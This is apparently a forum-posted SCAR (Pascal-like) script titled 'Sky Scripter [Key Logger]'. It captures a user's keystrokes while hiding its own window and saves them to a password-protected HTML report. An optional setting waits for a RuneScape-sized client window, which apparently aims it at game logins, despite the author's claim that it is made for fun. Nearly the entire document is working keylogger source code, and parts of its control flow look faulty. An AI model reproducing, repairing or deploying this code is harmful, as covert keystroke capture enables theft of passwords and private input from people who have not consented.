SCAR Code:
program New;
////////////////////////////////////////////////////////////////////////////////
// READ BEFORE USING !!!!!!!!
//
// CREATED BY "Sky Scripter"
//
// ME : I do not scam or steal or what ever....
// i just made this for fun ok...
//
// HOW TO USE: this will save a html report in your scar folder
// so open that with the Internet to see your key history.
// also everything is optional except for your
// password.
//
/////////////////////////////////////
// //
// PS: Have Fun Whatever you do //
// //
////////////////////////////////////////////////////////////////////////////////
var
s:String;
key:String;
NewLine:Boolean;
Main : TForm;
Border, Table : TImage;
PassWord, Hint:TEdit;
STARTME: TButton;
APP: TApplication;
Activate:TComboBox;
procedure Resetkeys;
var Alphabet:String;
i:Integer;
begin
Alphabet:= 'abcdefghijklmnopqrstuvwxyz1234567890_ ';
For i:= 1 to Length(Alphabet) do
while IsKeyDown(StrGet(Alphabet, i)) do
wait(1);
While IsKeyDown(chr(13)) do
Wait(1);
end;
Function GetKeyDown(Var Key:String; Var NewLine:Boolean):Boolean;
var
Alphabet:String;
i:Integer;
begin
Result:= false
NewLine:= False;
Alphabet:= 'abcdefghijklmnopqrstuvwxyz123456789_ ';
For i:= 1 to Length(Alphabet) do
begin
if (IsKeyDown(StrGet(Alphabet,i))) then
begin
Resetkeys;
Key:=Alphabet[i]
Result:=True;
exit;
end;
end;
if (IsKeyDown(chr(13))) then
begin
NewLine:=True;
Result:=True;
Resetkeys;
exit;
end;
end;
Procedure MakeFile;
var HTMl:String;
OutFile:Integer;
begin
HTML:= '<HTML><TITLE> MY PAGE </TITLE><BODY BGCOLOR=0'+
' Text="White"><CENTER><FONT SIZE="3" COLOR="WH'+
'ITE" STYLE="BOLD">SKY SCRIPTER<BR>[KEY LOG]<B'+
'R><BR><FONT SIZE="1"><TABLE ID="AutoNumber1" '+
'border="4" bordercolor="$F0F0" cellpadding="2'+
'" cellspacing="2" width="100%" Height="100%">'+
'<TR bgCOLOR=65280>';
OutFile:= RewriteFile(AppPath + 'Sky Scripter[key log].HTML', False);
if(OutFile > -1)then
begin
WriteFileString(OutFile, HTML+S+'</TABLE></CENTER></BODY></HTML>');
CloseFile(OutFile);
end;
end;
Procedure SetKeys;
begin
if (GetKeyDown(key, NewLine)) then
begin
if (NewLine) then
begin
Case Random(2)+1 of
1:s:= s+'<TR bgCOLOR=65280>' // next line
2:s:= s+'<TR bgCOLOR=26367>'
end;
end else
s:=s+key;
end;
key:='';
NewLine:= False;
if (IsKeyDown(chr(VK_BACK))) then
begin
while IsKeyDown(chr(VK_BACK)) do
wait(1)
delete(s, Length(s), Length(s)-1);
end;
end;
Procedure STARTFORM(Sender:TObject);
begin
if (PassWord.TEXT = '') or
(PassWord.TEXT = 'Password Please') then
App.MESSAGEBOX('Please Set a password','Password',1)
else
begin
Main.MODALRESULT:= mrOk;
PassWord.TEXT:= Lowercase(PassWord.TEXT);
GetSelf.hide;
end;
end;
procedure InitForm;
var x:Integer;
begin
Main := CreateForm;
Main.SetBounds(259, 132, 400, 300);
Main.Caption := 'frmDesign'; // Main Form
Main.Color := 0;
Main.Font.Color := clWindowText;
Main.Font.Height := -11;
Main.Font.Name := 'MS Sans Serif';
Main.Font.Style := [];
Main.Visible := False;
Main.PixelsPerInch := 96;
PassWord:= TEdit.Create(Main);
PassWord.SetBounds(40,90,100,20);
PassWord.Parent:= Main;
PassWord.COLOR:=16777215;
PassWord.Hint := 'Set a password so Nobody else can access';
PassWord.ShowHint:= True;
PassWord.TEXT:= 'Password Please';
Hint:= TEdit.Create(Main);
Hint.SetBounds(190,90,150,20);
Hint.Parent:= Main;
Hint.Color := 16777215;
Hint.Hint := 'set a hint if you forget password (optional)';
Hint.ShowHint:= True;
Hint.TEXT:= 'Set Hint';
Activate:= TComboBox.Create(Main);
Activate.Parent := Main;
Activate.SetBounds(135, 150, 78, 23);
Activate.Color := 16777215;
Activate.ItemHeight := 15;
Activate.ParentShowHint := False;
Activate.Hint := 'Detect Rs2 Before Recording Keys';
Activate.ShowHint := True;
Activate.TEXT:= 'False';
Activate.Items.Add('True');
Activate.Items.Add('False');
Table:= TImage.Create(Main);
Table.SetBounds(10,54,370,200);
Table.Parent:= Main;
Table.Canvas.Pen.Color:=255;
For x:=0 to 100 do
begin // Make Top Border
Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color-3+random(2);
Table.Canvas.MoveTo(0, x);
Table.Canvas.LineTo(370, x);
end;
For x:=100 to 200 do
begin // Make Top Border
Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color+3-random(2);
Table.Canvas.MoveTo(0, x);
Table.Canvas.LineTo(370, x);
end;
Table.CANVAS.Font.Color:=15849925;
Table.CANVAS.Font.Style:= [fsbold];
Table.CANVAS.Font.Size := 9;
Table.Canvas.Brush.Style:= bsClear;
Table.CANVAS.TextOut(50, 15,'Password');
Table.CANVAS.TextOut(210, 15,'Hint (Optional)');
Table.CANVAS.TextOut(110, 78,'Detect Rs (Optional)');
STARTME:= TButton.Create(Main);
STARTME.SetBounds(138,190,70,25);
STARTME.Parent:= Main;
STARTME.caption:='START';
STARTME.ONCLICK:= @StartForm;
Border:= TImage.Create(Main);
Border.SetBounds(0,0,392,40);
Border.Parent:= Main;
Border.Canvas.Pen.Color:=255;
Border.Canvas.Brush.Style:= bsClear;
For x:=0 to 20 do
begin // Make Top Border
Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color-9;
Border.Canvas.MoveTo(0, x);
Border.Canvas.LineTo(392, x);
end;
Border.Canvas.Pen.Color:=255;
For x:=20 to 40 do
begin // Make Top Border
Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color+13;
Border.Canvas.MoveTo(0, x);
Border.Canvas.LineTo(392, x);
end;
Border.CANVAS.Font.Color:=15849925;
Border.CANVAS.Font.Style:= [fsbold];
Border.CANVAS.Font.Size := 12;
Border.CANVAS.TextOut(90, 10,'Sky Scripter [Key Logger]');
APP:= TApplication.create(getSelf);
Main.ShowModal;
end;
procedure SafeInitForm;
var
v: TVariantArray;
begin
setarraylength(V, 0);
ThreadSafeCall('InitForm', v);
end;
var i:Integer;
begin
SafeInitForm;
if (Main.MODALRESULT = mrOk) then
if (Activate.Text = 'True') then
repeat
wait(1000);
until(FindWindowBySize(766, 504))
else
begin
Resetkeys;
repeat
SetKeys;
until(IsFKeyDown(12));
for i:=1 to 3 do
begin
if (ReadLn('Password Please?')=Lowercase(PassWord.TEXT)) then
begin
i:=0;
MakeFile;
App.MESSAGEBOX('Successfully saved','Password',1)
break;
end else
if (i>2) then
begin
App.MESSAGEBOX('Invaild Passwords Closing SCAR' ,'Password',1)
getself.CLOSE;
getself.CLOSE;
end;
if (not(Hint.text ='')) and
(not(Hint.text ='Set Hint'))then
if (i>0)then
App.MESSAGEBOX('Hint: '+Hint.text ,'Password',1)
App.MESSAGEBOX('Sorry Invaild Password chance '+inttostr(i)+' out of 3' ,'Password',1)
end;
GetSelf.SHOW;
if (i>2) then
getself.CLOSE;
end else
Writeln('Need to Set a Password And Start');
end.